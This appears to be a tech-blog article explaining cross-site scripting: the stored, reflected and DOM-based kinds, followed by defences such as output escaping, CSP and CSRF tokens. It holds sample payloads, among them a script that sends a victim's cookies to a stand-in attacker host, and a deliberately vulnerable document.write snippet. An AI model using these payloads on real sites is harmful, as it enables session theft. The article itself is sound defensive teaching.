XSS Attacks: What They Are, How They Work, How to Protect Yourself

22 February 2023

XSS Attacks: What They Are, How They Work, and How to Protect Yourself

- XSS (Cross-site scripting) attacks are among the most widespread vulnerabilities in web applications. In this article, we will delve into what an XSS attack is, what types exist, how it works, and we will see practical code examples to better understand how it works. Finally, we will illustrate how to protect your website from these cyber threats.

What is an XSS attack?

Il Cross-site scripting (XSS) is a cyber attack in which an attacker inserts malicious code, usually JavaScript, into a trusted web page. When a user views this page, the malicious code is executed directly in the victim's browser, allowing the attacker to steal sensitive information, steal sessions, or perform unwanted operations.

Types of XSS attacks

XSS attacks are mainly divided into three categories:

1. Stored XSS

The malicious code is stored on the server and executes automatically when the infected page is loaded.

Stored XSS example:

<!-- Un commento malevolo inserito in un forum -->
<script>
  document.location='http://malicious-site.com?cookie='+document.cookie;
</script>

This type is very dangerous because it can affect all users who view the compromised page.

2. Reflected XSS

The malicious code is included directly in the HTTP request (usually via a malicious link) and immediately reflected in the response.

Reflected XSS example:

Malicious URL:

http://esempio.com/ricerca?q=<script>alert('XSS')</script>

If the parameter q is not properly sanitized, the JavaScript code will be executed in the user's browser.

DOM-Based XSS

In this variant, the malicious code is executed directly on the client without being sent to the server. This happens when JavaScript improperly handles unsanitized data.

Example of DOM-based XSS:

<script>
  var param = location.hash.substr(1);
  document.write("Benvenuto " + param);
</script>

Malicious URL:

http://esempio.com/#<script>alert('XSS')</script>

How does an XSS attack work?

XSS attacks mainly occur when a web application does not properly sanitize user-provided input. Malicious code exploits this vulnerability to insert itself into the web page and execute in the victim's browser. This way, the attacker can:

  • Steal cookies and session tokens;
  • Steal personal or sensitive information;
  • Perform actions in the victim's browser;
  • Manipulate the contents of the web page.

How to Protect Yourself from XSS Attacks

To prevent XSS attacks, it is necessary to adopt some key security strategies:

1. Sanitization and validation of inputs

It is essential to always sanitize the data entered by users before displaying them on the web page:

PHP Example:

// Sanificazione input
$commento_sicuro = htmlspecialchars($commento, ENT_QUOTES, 'UTF-8');
echo $commento_sicuro;

2. Content Security Policy (CSP)

Implementing a Content Security Policy helps limit the origins allowed to execute scripts and prevents malicious code from running:

HTTP Header Example:

Content-Security-Policy: script-src 'self'; object-src 'none';

2. Secure output encoding

Make sure that user data output is properly encoded to avoid accidental execution:

JavaScript Example:

// Codifica sicura
const nomeUtente = "<script>alert('XSS');</script>";
document.getElementById('user').textContent = nomeUtente;

3. CSRF protection and use of tokens

Implement anti-CSRF tokens to protect requests and prevent combined XSS/CSRF attacks:

CSRF token example in PHP:

session_start();
$_SESSION['token'] = bin2hex(random_bytes(32));

4. Use a Web Application Firewall (WAF)

A web application firewall can detect and block XSS attacks before they reach your application.

4. Keep web applications up to date

Regularly updating your software and frameworks helps fix known vulnerabilities and protect against cyber attacks.

Educate users

Educating users about the risks of clicking suspicious links or entering sensitive data on untrustworthy web pages can significantly reduce the risk.

Conclusion

XSS attacks are a real and widespread threat on the web. However, by adopting the illustrated best practices and adequate tools, it is possible to effectively protect your application and ensure the safety of your users.


More articles from our Tech Blog

May 7, 2025
Stripe Alternatives (with Lower Fees!)

It goes without saying that if Stripe has become one of the most used web payment methods, there is a reason. Stripe is in fact a reliable payment gateway, with modern APIs and that offers an optimal user experience, however its fees are not the lowest on the market. If you are looking for alternatives to Stripe, equally […]

14 April 2025
Most Interesting Tech Startups in 2025, Says Pizero!

The news seems to paint a triumph in every sector of businesses somehow linked to Artificial Intelligence. Let's not get carried away by easy enthusiasm: it is better to rely on data to outline the most interesting technological startups of 2025. Technological innovation is now a constant feature, at rates that 20 years ago would have been unthinkable, and […]

10 April 2025
RAG: What it is, how to implement it and why it will revolutionize your AI projects

RAG (Retrieval-Augmented Generation) is one of the most innovative technologies in artificial intelligence, combining the power of document search (retrieval) with the generative capabilities of the most advanced linguistic models, such as GPT-4. This combination allows for the creation of highly accurate, contextualized and up-to-date answers, making AI-based systems significantly more reliable. In this in-depth […]

24 March 2025
What is a VPN and Why You Might Need One (Updated 2025)

Need to connect to your company server? Get around an IP block (for ethical reasons, of course)? Or just make sure the connection you’re browsing on keeps your data safe? For any of these cases, and many more, a VPN is the technology you need. If you’ve heard of it and […]

Request a meeting

Fill out the form to get a personalized consultation for your project.

Fill in the fields to be contacted

© Pizero Design srl, all rights reserved - PI 02313970465 - REA LU-215417
X
lockuserscartcalendar-fullsmartphonelaptopbriefcase